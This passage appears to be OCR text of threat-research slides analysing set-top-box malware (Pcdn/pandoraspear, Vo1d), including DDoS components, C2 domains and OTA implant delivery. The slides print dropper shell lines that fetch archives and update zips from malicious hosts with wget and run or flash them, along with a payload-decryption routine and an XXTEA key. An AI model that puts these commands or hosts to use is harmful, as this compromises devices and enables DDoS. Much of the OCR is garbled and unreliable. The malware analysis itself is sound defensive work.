316792 [24/09/27 21:18

2021: Packed by Modified UPX

0% C

:\work\1001ni
. 00000000 5
. 00000010:
. 00000020:
. 00000030:
. 00000040
. 00000050
. 00000060
. 00000070
. 00000080
. 00000090
. 00000040

ght'\

46-01
00-01
00-00
00-01
00-5B
00-01
00-00
00-51
00-00
00-AA
00—-40

03-00
00-24
05-34
00-00

. 00-5B

00-00
00-C4
64-00
00-00

0

00-00
00-34
00-03
00-00
00-05
00-00
00-06
00-00
00-06

0 00
w75 40 28 71g8%

00-40 75 05 00-34

sandora final'\pandora pcdn'\pcdn 2021

[ARO ————————
ELF [
o(Oo $2 4
2 O«
O

[? [ O
0o |l
] 000

L] Q2?td

O
i £210 (g mi i
@u@u4

Key Features

1:Deploy P2P CDN components
2.Execute C2 commands



Pcdn - Algorithm W20 QAX

6@ 16 BC 382

©e FD DA 36

Data Segmen
B Heavily Encrypted

Y>r{.a.r.a~. #bs#
Qde#>gdwd>sbg}#>
r.ruxp>a|}>sbg}.
b{p~g#6HH#>r . rwx
p>a|}>sbg}. .
dyty. .{d~. ..

0
N

def decbuf (buf) :

_\.a"8PkaoP]

FW. FQZ\.
.fQz\8Pkao
.k.n..a

“a.an T [[.a".U]
YQf...f-f...aa.a
[Td[".YQf.nYQf.a
["d[ .[dBBa.]PXa
“a8 V#,
..9. .

[N
o w o

w
@

leng=buf[0] "buf[1] bufl2]
out=""

60 %0 A4 9D

~

e for i in range(3, leng+3):
tmp=((buf [1] "buf[1])-buf[1]) &Oxff
out+=chr ((tmp buf[0]))

print (out)

N
w

5
3
F

Wwmwww w
WO N
Pm®aw
Nowow
@mONRLNO
@ NN W

PUWMWWTWNONMNMNWONWRONNTN

OWEROOODTUVONAONONOWDONM®

@8 98 A4 9D

0w

N
w
woN

TOTWWNON®W

VMONOVONGOEGOW

NWO TN

-
m
NTWAWTON

wmuwwT

N ®

®

MmN ON
TWRWWTWPRWANTNW
EMOAONKRNOAOWMNO ®N
MTwWwO®w
PWANTOROA® WO

N

9@ A4 9D

ONWWMWWWWRNDWNT

n wm
FOPrPrRPRWOROORPRWRWNMO®

3]
p=

[al ]
[NV
oOTww
VVONOUNOPOAWPRPOOODITUONONONOON

[a]
~

w
w0
WO
-
~

ONOOWNWONMOAOWVOWNOVREROAPR,RWOERLOORW

N

NONNNTNWNTWOOWTNT

MOAPOWROTNORP, WTOXNON®@

w ®
LR Wals]
NN @
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Pcdn — Deploy PCDN COMPONENTS ~ =»:0AX

© DCB "#!/system/bin/sh™,@xA

pce "if [ ! -f ",ex22,"/data/srs.sh",0x22," ]",0xA
DCB "then",@xA

1. Download pCdn.tar.gZ — DCB "cd data && wget ",@x22,"http://fadfa.dyanoe.com:8080/stb-downlo"
DCB

"ad/pcdn.tar.gz",ox22," && tar xf pcdn.tar.gz & & rm -rf pcdn.tar.™
DCB "gz",@xA

2. Execute components in the archive 0C8 “T1,0xA

L evlls.conf

ol DCB "/data/kcp/xkcp_client -d @ -c /data/kcp/client.json"

ngi DCB 0
s DCB "/data/kcp/xkcp_server -d @ -c /data/kcp/server.json"

[— free.sh DCB 0

I . DCB "/data/ss/server -c /data/ss/server-multi-port.json > /dev/null 2
[ coirmerjuca DCB ">&1 &"
[ eehsorver DCB "/data/p2p/play station > /dev/null 2>&1 &"

— server_kep

— server-kcptun.json
[— ss-server

— ssserver.json
|, Sraresh kcp/keptun: Network acceleration components.
p2p_peer
play_station
— srs.sh

E client-multi-server.json pzp p2 p_peer fOF networking.

evlls: Contains srs, a streaming server supporting RTMP, HLS, and HTTP-FLV protocols.

ss: Shadowsocks service components.

local
server
server-multi-port.json

play_station: Related to video services.
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if ( wrap_pthread_create(func_dropstimetask, ©, ©x2e00, 1@, "dropstimetask") )

{
if ( wrap_pthread_create(func_dropstask, @, ex2eee, 1@, "dropstask™) )

wrap_pthread_create(func_dropsinittask, ©, ex2eee, 10, "dropsinittask");

1. dropstimetask: Manages scheduling.

2. dropstask: Communicates with the C2 server to receive commands.

3. dropsinittask: Executes the DDoS attacks. it;cgi’lém

strcpy(
*((_DWORD

strcpy(
*((_DWORD
suitch ( ddostype ) strc py(
Tt *((_DWORD
0 strcpy(
if ( word 59276 ) *((_DHORD

= sub_4850@(v22, &unk_59260);
else , ©x2000, 1@, )i
= 0;

3
ddos vector = sub_489
strcpy((char =)
HIBYTE(v24[4]) = @}
[5] = e;
goto LABEL_65;

while ( unsigned  inti6)word 59270 );

[
2

%)

+

%)

+

x)

+

x)

+

x)

'zas8wie.snarutox.com");

+ 16) = Ox179FA;

68, "in32hbccw.oneconcord.net");
+ 33) = Ox179FA;

136, "pu9z3cca.trumpary.com");
+ 50) = Ox179FA;

204, "kp519bpa.fireisi.com™);
+ 67) = Ox179FA;

272, "hgxx123p.ourhousei.com");
+ 84) = Ox179FA;
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2024.01.16 Bot Harvest
116,373,600 1,555 465

Count Unique count of ip4.sip
ALIGN 4

DCB "in32hbccw.oneconcord.net”,@

ALIGN 8

DCB "pu9z3cca.trumpary.com",® @timestamp perday  2024-09-26

Unique count of ip4.sip 940,842

ALIGN oxl1e
DCB "kp519bpa.fireisi.com",®@

=
=
5
H]
]
3]
o
E]
i=3
c
>

ALIGN 4
DCB "hgxx123p.ourhousei.com",8




Pcdn - New Leads W QAX

2 PE DDoS Builder
8 DDoS Vectors in Pcdn

2 Flood.c

«d Win_ms.

Address Length Type String

[5] .rodata:00000... 00000008 . udptask
.rodata:00000... 00000009 i udp2task
.rodata:00000... 0000000A . timertask
.rodata:00000... 00000008 . tcptask
’| .-rodata:00000... 00000008 ) syntask
'| .rodata:00000... 0000000A . speedtask
‘s’ .rodata:00000... 0000000C ) recvemdtask
h icmptask
’| .rodata:00000... . dropstask
. 00000008 . diytask
' .rodata:00000... 0000000D ) adaptivetask
’| .rodata:00000... 0000003F . [DROPS] ZDEG) attack start (IP:%s, port:%d,time:%d,number:%d)\n
.rodata:00000... 0000003E . [DROPS] UDP2 attack start (IP:%s, port:%d,time:%d,number:%d)\n
srodata:00000... 0000003D ) [DROPS] UDP attack start (IP:%s, port:%d,time:%d,number:%d)\n
’| .rodata:00000... 0000003D . [DROPS] TCP attack start (IP:%s, port:%d,time:%d,number:%d)\n
.rodata:00000... 0000003D . [DROPS] SYN attack start (IP;%s, port:%d,time:%d,number:%d)\n
’| .rodata:00000... 0000003E ) [DROPS] ICMP attack start (I1P:%s, port:%d,time:%d,number:%d)}\n

dicmptask
dudptask

‘s text:00044F84 0000000E C dropstimetask dsyntask

‘s .text:00044F98 0000000A dropstask dtcptask........
dkeeptask
dhttptask
dposttask
ddiyeitask......

Address Length Type String

C
5] text:00044FA8 0000000E C dropsinittask




DDoS Builder - Slaves T QAX

Create Slave
v' Linux
v Windows e

Go oline

\/ ST B (?) DNS1

DNS2 |stpoto.sdfafl 23Dapp.net

e TIME
Start W

MANUAL | auTo |

DNS3 |dlewals.adfoiadf892.net

0
0.0M @cm  Cosyn Coudp & uwdp2 O
0.0M Q o1y 1 )

DNS4 [redavss.noip.me

DNS5 |alchaes.abdcl1.com

AutoSelect
[0

[on ~ ]

RJO1 RJ02 |RJO3 |RJ04 |RJOS |RJO6 |RJO7 |RJOS | RJD9 RT10 ‘

time(s) 300

AUS update
AUS1T http:flustem.swems1301.com/dijd

AUS2 http:lisarect.noip.meldijda/gh

AUS3 http:ffchsnsge.abd .com/dl{dajms

delay(s) 300

test_band status : off -0 = [ Check Targets 2017.0S. 14-01
position 0:0 — ittt d et it

Version

W Create Slave
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eCos Based Set Top Box

String

/home/chenzhen/virtual/share/stb/0 01S 9600HD/drops/../lib/ecos/mips_0/release/../include/ecos
/home/chenzhen/virtual/share/stb/0 01S 9600HD/drops/../lib/ecos/mips 0/release/../include/sys
/home/chenzhen/virtual/share/stb/0 01S 9600HD/drops/../lib/ecos/mips_0/release/../include
/home/chenzhen/virtual/share/stb/0 01S 9600HD/drops/../lib/ecos/mips 0/release/../include/netinet

‘s’ CODE:001B06D3 0000000A
‘s CODE:001B08BB 0000000B
‘s CODE:001B0O8E3 0000000A
‘s’ CODE:001B0908 0000000B
‘s CODE:001B091C 0000000A
Length
CODE:001AB978 00000008
CODE:001AB9E4 00000009
CODE:001ABAF8 00000007
CODE:001ABAFF 00000006
CODE:001ABB18 00000007
CODE:001ABDE5 00000008
CODE:001ABF3E 00000009
CODE:001ABFC8 00000009
CODE:001ABFD1 00000008

ﬁﬁﬁﬁﬁﬁﬁﬁﬁ,?
©
4]

tcp flood
icmp_flood
syn flood
udp2 flood
udp flood

String
DDOSUDP
DDOSUDP2
DDOSCC
DDOSS
DDOSIE
DDOSSYN
DDOSNULL
DDOSICMP
DDOSTCP

[eCOS]

The Embedded Configurable Operating System
(eCos) is a free and open-source real-time operating
system intended for embedded systems and
applications which need only one process with
multiple threads. It is designed to be customizable to
precise application requirements of run-time
performance and hardware needs. It is implemented
in the programming languages C and C++ and has
compatibility layers and application programming
interfaces for Portable Operating System Interface
(POSIX) and The Real-time Operating system Nucleus
(TRON) variant pITRON. eCos is supported by
popular SSL/TLS libraries such as wolfSSL, thus

meeting all standards for embedded security.?!



DDoS Builder - Rom File T QAX

mkuspt.com

slav

@ 2/94 security vendors flagged this domain as maliciou

G 00 I i ne | 31 psev.mkuspt.com

mkuspt.com

self-signed

stpoto.sdfaf1230app.net

Files Referring (100) ©

dlewals.adfoiadf892.net

Scanned Detections Type Name
2025-01-14 6 unknown rom (1).bin
52 unknown rom.bin
- —
- - 8 4 unknown home bel_malware/mal_unanalyzed/6d5195c. 995b8cb4dS5c
redavss.noip.me : '
6 unknown Emu_SW104_Sha_IPTV_RDS D_Fonestar_ w.fonesteros.com.bin
unknown Open S C 6_05_28.bin
unknown EMU 100.bin
alchaes.abdcl1.com ; ;
59 unknown FONESTAR_2015,

unknown IRIS9700HD02_07 016_anti ataque.bin
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Smartuptool Firmware

0% 6d5195c¢2a94h85c¢3995h8ch4d5¢5791dec745133ha

9385fdfd2[1 [HRO

00000000:
00000010:

00000020:
00000030:
00000040:
00000050:
00000060
00000070:
00000080:
00000090:

896

437483
488436
673304
699404
704360
709164
709179
712768
712783
717668
717692

512

0x200

0x380

0x6ACEB
0x773F4
0xA4618
0xAACOC
0xABF68
0xAD22C
0xAD23B
0xAE040
OxAEQ4F
0xAF364
0xAF37C

A6 F6 Co6 1C-21 00
00 00 A0 00-00 00
00 00 00 40 00 00

¥ €8 e £
01-02 00 00 80-00 00 00 00— C6 Cb 53 29 [E?[] 2 22S)
00 00-00 00 00 00-00 00 00 00

00 00-00 00 00 00-00 00 00 00 €

00 00 00 00-00 00
02 00 00 80-00 00

-Me 00c052e85cch200367dasba2be83995d —directs

56 10-0C 00 A0 00-18 11 79 50 2?2?01 VLII? [IyP
00 00-5B E3 05 6A-01 00 00 00 B

00 00 00 CO 05 00— co 0' o=
nsiaieel oool Hrimweare

(20300

81 ”\ PP ODQOY ool::o

ep eCos

kernel exception handler archltecture MIPSEL exception vector table base address: 0x80011844
kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80011844

RTOS string reference:
RTOS string reference:
RTOS string reference:
RTOS string reference: "
RTOS string reference: "
RTOS string reference:
RTOS string reference:
RTOS string reference:
RTOS string reference:
RTOS string reference:
RTOS string reference:

"ecos_bestws"
"ecos_usb_serial_get_config”
"ECOS"

_node”

"ecos_3G/Kernel/ecos-he/packages/net/ppp/current/src/lcp.c”
"ecos-he/packages/net/ppp/current/src/lcp.c”
"ecos_3G/Kernel/ecos-he/packages/infra/current/src/tcdiag.cxx”
"ecos-he/packages/infra/current/src/tcdiag.cxx”

"ecos_stop()"

"ecos_stop()"

DDoS in Pcdn

Address

Length

is] .text:00044F84 (0000000
Fs] text:00044F98 0000000A
is| text:00044FA8 0000000

70-73

7073 7
. 69-74 T

73-6B

00-64 7
70-74 6

73-6B

00-64 7
) 79-30 3

59 6D—65

73-6B
73-6B

00-64 7
/9 6E-T4

6B-00

00-64 68

73-74

61-73 6

String

dropstimetask
dropstask
dropsinittask

73-6B
00-64
00-64
70-74 ¢
6B-00
00-64 6
74-70
713-6B

dicmptask
dudptask
dsyntask
dtcptask
dkeeptask
dhttptask
dposttask
ddiyeiltask

dropstimetask

dropstask drop
sinittask dicm
ptask  dudptask

dsyntask
dtcptask dkeg
ptask dhttptas
k  dposttask
ddiy0ltask
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eCos Pcdn - Firmware
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325 Firmware

> boxupsev.mkuspt.com
> esc8ccgo.txp3tqc.com
> x2x.dIx4c.com

0% 6d519
00000000:

00000010: 2 2 le—App software.
00000020: A6 F6 C6 1C—21 00 56 10-0C 00 A0 00-18 11 22200 VUOII? LI4P
00000030: 00 00 A0 00—00 00 00 00-5B E3 05 6A—01 00 00 00 ? (2030
00000040: 00 00 00 40 00 00 00 00-00 CO 05 00—-66 Mm
00000050: 00 00 01 O ﬂ 00 ﬁ

00000060 E;(jc J 81 “v?? ?[1Q?Y 2?9F2?
00000070: T=t—=1 00 80— 00 00 00 00-C6 ChH 53 29 [A?00 € ?22S)
00000080: 00 00 00 00-00 00 00 00—00 00 00 00-00 00 00 00

00000090: 02 00 00 80—00 00 00O 00—00 00 OO0 00—00 00 00 00 €

SmartUpToolRomFi

32 Contains ddiyo1task

Ls
Ls

(kali®
grep -rl

kali)-[~]

"ddiy@ltask" ./output > ddiy@l.list

(kali® kali)-[~]
cat ddiy@l.list| sort | unig -c | sort -n

=

./output/_36f@beabac03773bc30cd6243838fesa
./output/_3afe@743b421e1d698f6e309ec508dae

./output/_5e0@ebeadab4c3e3807519e5fffcccoff.
./output/_5elbf26d820fe2d04b3¢c626471
./output/_5edf5029cfdocs

S GO

Q

7d85a00.

./output/:9137f776a1bcce76f57b313de28134cd
./output/_914f7b4f332667786e6ce377eadc7d4sb

./output/_d83ead9c52919f3a267cc5ba2c6f8d92f
./output/_el4ec99dac2aldfb48492c0fl14aad687

T T Y

./output/_02845189335d15240b947178881a63a%.
./output/_02cd30601a5d33c962cd341155d45045.
./output/_@cef9e3221464ddc6fd1d899feb87ed2.
./output/_2542354fdf45fdbe316c@1b36c91dfc9.

extracted/5AF571
extracted/552A9A
extracted/125038
extracted/9EE57

.extracted/5D4038
.extracted/56EA9A
./output/_3d73d0c316b0e9233e6c18b7ee421105.
./output/_4fff9bcofo7ch9edd5703bT966502ce5.
./output/_50bceefb24f4c1873064T7d4c48TT683.
./output/_5685229alc47f5adb847a28a330cans2.

extract
gﬂ‘*‘
trac
T

extracted/9E976
extracted/9A1BA
extracted/99E99

tracted/555571
extracted/4EBCES

.extracted/9A23A
.extracted/9F60B
.extracted/BB5A2
.extracted/9E941
.extracted/9EA57
./output/_994f8a4d19e50b299%9e00dbel04claels.
./output/_al678a31dff7c206b49f395387e503c1.
./output/_b517082a09adb6a2449dea23f75f5al7.
./output/_cf89c9la7abeb82458ccffa7025216e8.
./output/_d4c955b8d8ca21a4163f087c2c8ca70l.

extracted/9F965
extracted/5D7038
extracted/9E941
extracted/B3D24
extracted/9F9B5

.extracted/9E99F
.extracted/9F60B
./output/_faa8cdacbc32b519ef50fce43f334253.

extracted/5A5571




eCos Pcdn - C2? W QAX

(O 4/94 security vendors flagged this domain as malicious

017D4F80:

017D4F90: ; ; CollectTask sun ryy8zc.dotxui.com

017D4FAO0: 5 4 72 [0-73 74 69 6D-65 dotxui.com

017D4FBO: 00 3 i '3 74 61 73-6B Community IR o

(OFDIS NG 72 6F 70-7 . 69-74 74 61 73-6B dropsinitte Score e

017D4FDO: 4 69 63 74 61 T 00 OO 0064 75 6 dicmptask  dudp

017D4FEQ: [ES==3 = 61 g3 6Rs74 task dacktask

017D4FFO : ( y O a te !:le;?['lt.ElSk DETECTION DETAILS RELATIONS COMMUNITY 2
017D5000: 4 74 65717 vo w0 oT b vb dteptask

(OVDGNIHEEN 0 74 61 73— bB 4 68 74 74-70 74 61 73 @ptask d Passive DNS Replication (1) O

017D5020: 00 00-64 7 [3-74 7¢ bl 73—-6B 00 00 k 0 -

O]_?D‘E)OSO : £ G 6F TT—GE i /- 3 OO 00—6-1 6—1 69 T__ Date resolved Detections Resolver P
0 1 7D 5040 . g T _]: b 1—';'3 Ad 00—4[] 49 44 = 2020-11-29 1/94 VirusTotal 162.209.126.216

017D5050: 75 {0 67 72-61 64 65 00-7D 32 76 39-3C 2A 39 6A upgfade }2\9<M9J
017D5060: 76 68 69 4E-57 43 6C 70-6D 3A 21 4E-35 39 23 4E vhiNWClpm: !N59#N
017D5070: 00 00 00 00—

017D5080: Passive DNS Replication (15) @

017D5090: l? Z) ?
0 ]_ 7D 50;1\0 : Date resolved Detections Resolver Domal

017D50BO: 2020-11-30 4 /94 VirusTotal plart2z.incenu.com
017D50C0: 2020-11-30 5/94 VirusTotal iptty3m.dotxui.com
017D50DO0: 00 00-20 61 64 64-72 20 3D 20-22 20 25 5B @ addr = ” %[ 2020-11-29 4 /94 VirusTota nikec32.honisu.com

2020-11-29 4 /94 VirusTotal ryy8zc.dotxui.com
2020-11-28 4 /94 VirusTotal wwrc9.ngoox.com
2019-12-13 1/94 VirusTotal couh2h.ngoox.com
2019-12-12 2 /94 VirusTotal kp519bpa.fireisi.com
2019-12-12 1/94 VirusTotal et5javb.snarutox.com
2019-11-29 4 /94 VirusTotal in32hbcecw.oneconcord.net
2019-11-27 2 /94 VirusTotal gxx123p.ourhousei.com
2019-11-24 2 /94 VirusTotal ca.trumpary.com
2019-08-15 1/94 VirusTotal s3tccuz.incenu.com

2019-09-15 1/94 VirusTotal mox8ty.oneconcord.net

2019-04-28 3/94 VirusTotal zas8wie.snarutox.com

2018-04-06 1/94 VirusTotal Droidy he8pkh.mkuspt.com
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The eCos firmware do contains a DDoS component

IT'F Author Topic: FIRMWARE IRIS9800 HD AND 9850 06-28-2021 (Read 15206 times)

Visitor are viewing this topic.

Re:FIRMWARE IRIS98300 HD AND 9350 06-28-2021
snoopyteam « Reply #30 on: October 31, 2021, 12:53:23 12:53 »

NEW USER
I'm looking at my pihole with the iris 9

-

5.5001231.net
Acknowledgments panel
-You have given: 122
xtrum.eswui.com
plart2z.incenu. com
iptty3m.dot:
dssci.hon

“You have received: 5
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Temptation W0 QAX
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Dr Web:
Application for streaming pirated movies & TV shows

co & &l 100%08

e &

www.youcine.tv youcineapp.com

www.tele-latino.com
Yo
Download Youcine apk

vc,’,,'é' v ; una aplicacion
you are equivalent to getting a

iy - My Family Cinema Gratis
Para Sempre inicio de sesion y brinda

L
1 : YouCine é um gratis que permite a I Oucl ne acceso a canales de
LoPLAYER®D
=/ PLAYON PC |/ = Y

de Android que no requiere

vocé assistir filmes online gratis, também um Apk

= . television de América Lating,
para filmes e sérias sem my family cinema planos. & Aplicativos para assistir a filmes

deportes, peliculas, series,
gratuitamente: Film App y PlayPelis

contenido infantil y mucho
™
oucine do

oad para assistir filmes e séries de

TV gratuitamente e sem custo. App disponivel para

celulares Android, Smart TV, TV Box, Chromecast, Descargar

Google TV, Tablets, Firestick lite, Firestick cube,
Fresti pC Wi o5

Para Celular
Download Youcine apk 2:°

oo Compre o aplicativo Youcine Premium App com o
get unlimited free show melhor prego.




OTA - Pattern
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URL Pattern

> [stb-download/

/Jtool/pt

e ydn_comzsoso/
fadfatest.pneydn.com:8080/

L1 /tool/pedn
fadfa.gdalieyw.com:8080/ /tool/p2p
50.7.118.114:1 9001/pandora5pea,-

http://yuo.
http://bas.
http://caq.
http://bps.
http://tyu.
http://vpr.
http://tyu.
http://tyu.

VirusTotal Intelligence
> entity:url path:/stb-download/

> 22 urls

tyt3s. com: 8080/ stb—download/s905x/package list. xml
swlez. com:8080/sthb—download/s905x/package list. xml
xv8ta. com:8080/stb—download/s905x/package 1ist.xml
tr2eq. com: 8080/ stb—download/s905x/package list. xml
fartl. com: 8080/ stb—download/s905x/package list. xml
pprvl. com:8080/stb—download/s905x/package list.xml
fartl. com:8080/stb—download/s905x/package 1ist.xml
sdhenbe. com: 8080/stb—download/s905x/package list. xml

http://xihb. bhowl jwl. com:8080/stb—download/s9056x/package 14 U U:D (:f

http://xihb. 1gewerlf. com: 8080/stb—down10ad/sQOBx/package_lgw O@[@[@O [F@ @
http://tano. syhs8u. com: 8080/stb—download/s905x/package list. xml
http://tano. jdsefbe. com: 8080/ stb—download/s905x/package list. xml
http://xtsj. sisenji. com:8080/sth—download/s905x/package list.xml
http://xts]j. syshebe. com:8080/stb—download/s905x/package_list. xml
http://xtsj. terwea. com: 8080/stb—download/s905x/package list. xml
http://xtsj. ofdad3. com:8080/stb—download/s905x/package list. xml
http://tigx. xjs7zu. com:8080/stb—download/s905x/package list. xml
http://tigx. xsefbe. com:8080/stb—download/s905x%/package list. xml

http://7sys. gkdliewl. com:8080/stb—download/s905x3/package list. xml
http://7sys. bidlwli. com: 8080/ stb—download/s905x3/package list. xml

http://msy.
http://ssy.

ulielfgl. com:8080/stb—download/s905y2/package c @ m o

b12kidil. com:8080/sth—download/s905y2/package —

swilbleupdate



OTA - APK W QAX

2 APK Key Features

v Swl.app.Upgrade 1. Download package list.xml
v' Com.swl.bleupdate 2. Download payload specified in xml
3. Upgrade

public voi

02007271610. zip” URL="htt

31841D zeInB="5

= system

L— ALauncher.apk
L AMarket.apk

L— sSwlupdate.apk

B pandoraspear mW@W@
— bullzfgzop M@“ﬁ@%©@§ ﬁ“@g ﬁm ﬁ

=

libbrotli.so

libconscrypt_jni.so

libcronet.81.0.4021.0.s0

libgame_sdk_device_info_jni.so

libtensorflowlite_jni.so
Phonesky.apk

10 directories, 12 files



OTA - Sysup
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New Implants

> Pcdn

> Ptcrack

> P2p peer

> Play station
> Sysup

> e

asc_7213

Ox47,0xA4,  3,0x6C,0x63,0xAF,0xAS,OX6E,BxBD, OXAF, 0xAl,0xAl, 0x70, 0X60

Ox62,0x73, OXAF , OXAF ,8x77,0X73,0x73,0x7F ,0x85, OXAS , OXAS,, 0x 73, OX6E , OX69
0x68,0XA9, 0X7C,0x46,0X77,0X7C,0X87,0x72,0XA9, OX6C, OX68 , OX6A, OX85, 0X87
OxBF,0x87,0xBF,0xA8,0x7C,0x73,0x6D, OxAA, Bx63,0x68 ,0x70,0x69, 0X6B , OX68
Ox6E,0x63,0XA8, 0X7C,0x86,0XBF ,0xB2,0XA8, OXE,OXBD,0XAA,0X68,0X73,0X6E
OXAA,0X72,0X7F,0x63 ,0X6E,0X73,0X62,OXAA, BXBD, OXBF , 0XBE ,0Xx86 , 0XBF , OXB3
OxBE, OxBF , 0xBF ,0x86,0xB2, 0xB3, 0xA9, 0x45,0x76,0x7F ,0XAF ,0xAA,  8,0XAF
0x72,0X7F,0X63,0X6E,0X73,0X62, 0XA9, 0X45,8X76,0X7F , 0XAF ,0XA1, OXAL, OXAF
OX6A,0x74,0x63,0x76,0x7D, OXAF , 0XAA, OX7F , OXAF , OXAS , OX6C , OX6E , OX6C , 0X77
Ox62,0xA8, 8X7D, Ox62,0X6C , 0X68, 0X71,0x62,8x7D, OX46 , OXAF , 0XAL, OXAL, OXAF
0x6D, 0X72,0x7C,0x46,0X6D, 0X68, 0X47 , OXAF , 0X62, OXEC, 0X77 ,0X68 , OXAF , OXAQ
OxAA, OxAA, Bx72,0x7F ,0x63, 0X6E, 0x73,0x62,0x18,0x7F , 0x6E ,0x6C , 0x74, OX6E
Ox60,0x62, OXBA, OXAS, OX6E , OXBD, OXAS, 0x72,8X7F,0X63, OX6E ,0x73,0X62,, OXA9
@x45,0X76,0X7F ,0xA0,0XBI, OXAS, 0X6C , OX6E , OX6C, 0X77,0X62 , XA, 0X7D, 0X62
Ox6C,0x68,0x71,0x62,0x7D, 0x46, 0XAS, OX6C , BX68, OX6A, OX6A, OX6E ,0X69, OX63
OxA1,0xAl,0x7D,0x62,0X6D, 0X68, OX68,0X73, 8XAF, 0X7D, 0X62,0X6C, 0X68, 0X71
0x62,0x7D,0x46, 0

def decbuf (buf) :

leng=buf[0] "buf[1] "buf[2]
out="

for i in range(3, lengt3) :
tmp=((buf [1] "buf[1])-buf[1]) &Oxff
outt=chr ((tmp buf[0]))

print (out)

"cd /a2 &8&wget http://tano.syhs8u.com:8080/stb-download/s905/A2-"

"ota-update-201904100954.zip -0 update.zip && mkdir -p /cache/rec"
--update_package=/a2/update.zip'>/cache/r"

"overy && busybox echo
"ecovery/command&&reboot recovery"
2]

7]
0
7]



OTA - Sysup W0 QAX

New Implants

> Pcdn

> Ptcrack

> P2p peer

> Play station
> Sysup

> e

cd /htv & wget -c 'http://h5d.xeaqo.com:8080/stb-download/s905/Htv5-ota-update-2019.03.28-9.13.zip -0 update.zip && mkdir -p /cache/recovery && busybox echo '--update_packag=/htv/
update.zip'>/cache/recovery/command&&reboot recovery

cd /a2 &&wget http://tano.syhs8u.com:8080/stb-download/s905/A2-ota-update-201904100954.2ip -0 update.zip & mkdir -p /cache/recovery && busybox echo '--update_package=/a2/update.zip'>/
cache/recovery/command&&reboot recovery

cd /a2 &wget http://tano.syhs8u.com:8080/stb-download/s905/CYX-spain-ota-update-201812181524.7ip -0 update.zip && mkdir -p /cache/recovery &% busybox echo '--update_package=/a2/

update.zip'>/cache/recovery/command&&reboot recovery

cd /a2 &&wget http://tano.syhs8u.com:8080/stb-download/s905/A2-tigre-ota-update-2019.04.01-14.01.zip -0 update.zip & mkdir -p /cache/recovery && busybox echo '--update_package=/a2/
update.zip'>/cache/recovery/command&&reboot recovery

cd /htv && wget http://h5d.xeaqo.com:8080/stb-download/m3/HTV3-ota-full-20190624.zip -0 update.zip && mkdir -p /cache/recovery && busybox echo '--update_package=/htv/update.zip'>/cache/
recovery/command&&reboot recover

C\work\1001night\pandora final\sysup firmware\A2-ota-update-201904100954.zip\system\bin\
s H/
H lloWorld 66 984

pandoraspear 316 796
pcdn 300128




OTA - Forum W0 QAX

Fonestero.com

EL LARA posted firmware named IRIS1800-4K Pro 11.08.2023.zip

Topic: IRIS 1800 4K PRO firmware. 08/22/2023 (Read 738 times) —( )-[~/firmware ]
—$ md5s IRIS1800-4K_Pro_11.08.2023.zip
b77b797ac55e378f952ce120bab97b12 IRIS1800-4K_Pro_11.08.2023.zip

0 Users and 2 Visito wing this t

firmware IRIS 1800 4K P

ax ptember 13, 20 r s 1
EL_LARA FEInEr — )~ [~/Firmuare]
IRIS1800-4K_Pro_11.08.2023.zip
T )-[~/firmware]
—% tree system §
— curl @@K
pandoraspear
pcdn
wget \ ag
build.prop @
O,
i : S%“
=
dtv_mw_d1
dtv_mw_s1
dtv_mw_stl
dtv_mw_t1

dtv_preferences.xml

5 directories, 10 files
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Vold - “Angry” Boss WooQAX

2024.09.12, Vo1d botnet, Drweb

v 1.3 M devices
v Download & Run Executable

Void captures over a million Android TV boxes

September 12, 2024

Doctor Web experts have uncovered yet another case of an|Android-based TV box infection. The malware, dubbed Android.Vo1d, has
infected nearly 1.3 million devices belonging to users in 197 countries. It is a backdoor that puts its components in the system storage
area and, when commanded by attackers, is capable of secretly downloading and installing third-party software.

XXTEA
DGA(5 seeds)

othercounies  [JIENCH

Argentina [ o

Countries with the highest number of infected devices detected




Vo1d - Surprise 2o QAX

Via a POST request, Android.Vo1d.5 contacts the C&C server whose address is taken from a preassigned list. By default, the list has only a single

address hxxpl:]//meiboot[. ]com/api/config .

Cypher text Plain text

©x15728

google.com

0x15743

{"u":"%s", "m":"%s", "a":"%d", "s":"%d"}
ox1576f

http://%s/api/config

def decbuf (buf) :

leng=buf[0] "buf[1] buf[2]

out=""

for i in range(3, leng+3):
tmp=((buf[i] "buf[1])-buf[1])&0xff
out+=chr ((tmp "buf[0]))

print (out)

Ox15736
baidu.com
©x159dc
meiboot. com
©x159eb
%02X%02X




WoLQAX
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Vo1ld - A little Blue

Are we stupid or what?

v Can’ t get the payload
v’ Let ‘s use emulator

Android.Vo1d.5 extracts and decrypts a payload from itself, using the XXTEA algorithm with the key fPNHS830ES23Q0PIM*&S9
object—the main Android.Vo1d.5 body—is loaded into the RAM.

&GF . The decrypted

S/import flare_emu
6 import hexdump

8/def extract_payload(xxtea_call: int, input_addr: int, length: int, key:
bytes = b'fPNH830ES23Q0OPIM') -> None:

start_time = time.time()
eh = flare_emu.EmuHelper()
eh.apiHooks.update({
'__aeabi_memclr': eh.apiHooks[ 'memset'],
'__aeabi_memcpy': eh.apiHooks[ 'memcpy"]

1

out_buf = eh.allocEmuMem(length)
in_buf = ida_bytes.get_bytes(input_addr, length)
eh.emulateRange(

00000000: 7F 45 4C 46 01 01 01 96 00 00 0O 00 00 00 06 @0
00017000 R1: 90000000
51333253 R3: ©01B2FA4
9E3678B8 R5: 98170000

startAddr=xxtea_call,

registers={'Re@': in_buf, 'R1': out_buf, 'R2': length, 'R3':

key},
22 skipCalls=False

)
decrypted_data = eh.getEmuBytes(out_buf, length)
output_filename = f"{idc.get_root_filename()}.decrypt"
with open(output_filename, "wb") as output_file:
output_file.write(decrypted_data)
hexdump . hexdump (decrypted_data[:0x10])
print(eh.getEmuState())
print(f"Time taken: {time.time() - start_time:.2f} seconds")

33 xxtea_addr = @xb77c

34| input_addr = @xlele@

35/ length = @x17004

36| extract_payload(xxtea_addr, input_addr, length)

: 464C457F
90000000
90000000
35BFDA2E
: 4ABGAGAC
©000B894
0003 7FE(|

R7: ©0O37FF8
RS: ovoeoeoe
R11: ©0©000000
R13: ©0837FEC
R15: ©000B89%4

Time taken: 863.35 seconds




Vo1ld - asr xxtea W QAX

= ©xB54CDAS6 - ©@x61C88647 * sub 529C(52
= -1,
if ( )
{ j
R4, [SP,#@x40+var_34] R12, R8, [SP,#@x148+var_134]

= *yl5;
if ( >= 8 ) . R2, R9, #3 : R6, LR, #3
; en HE . R1, [R8]
Yav1s[ ; ' R Eiﬁ?é’tﬁtﬁi} . R6, [R11,R6,LSL#2]
R12, [R4] :g IE:&:]S.Z,LSL#Z]
R3, RO, #4
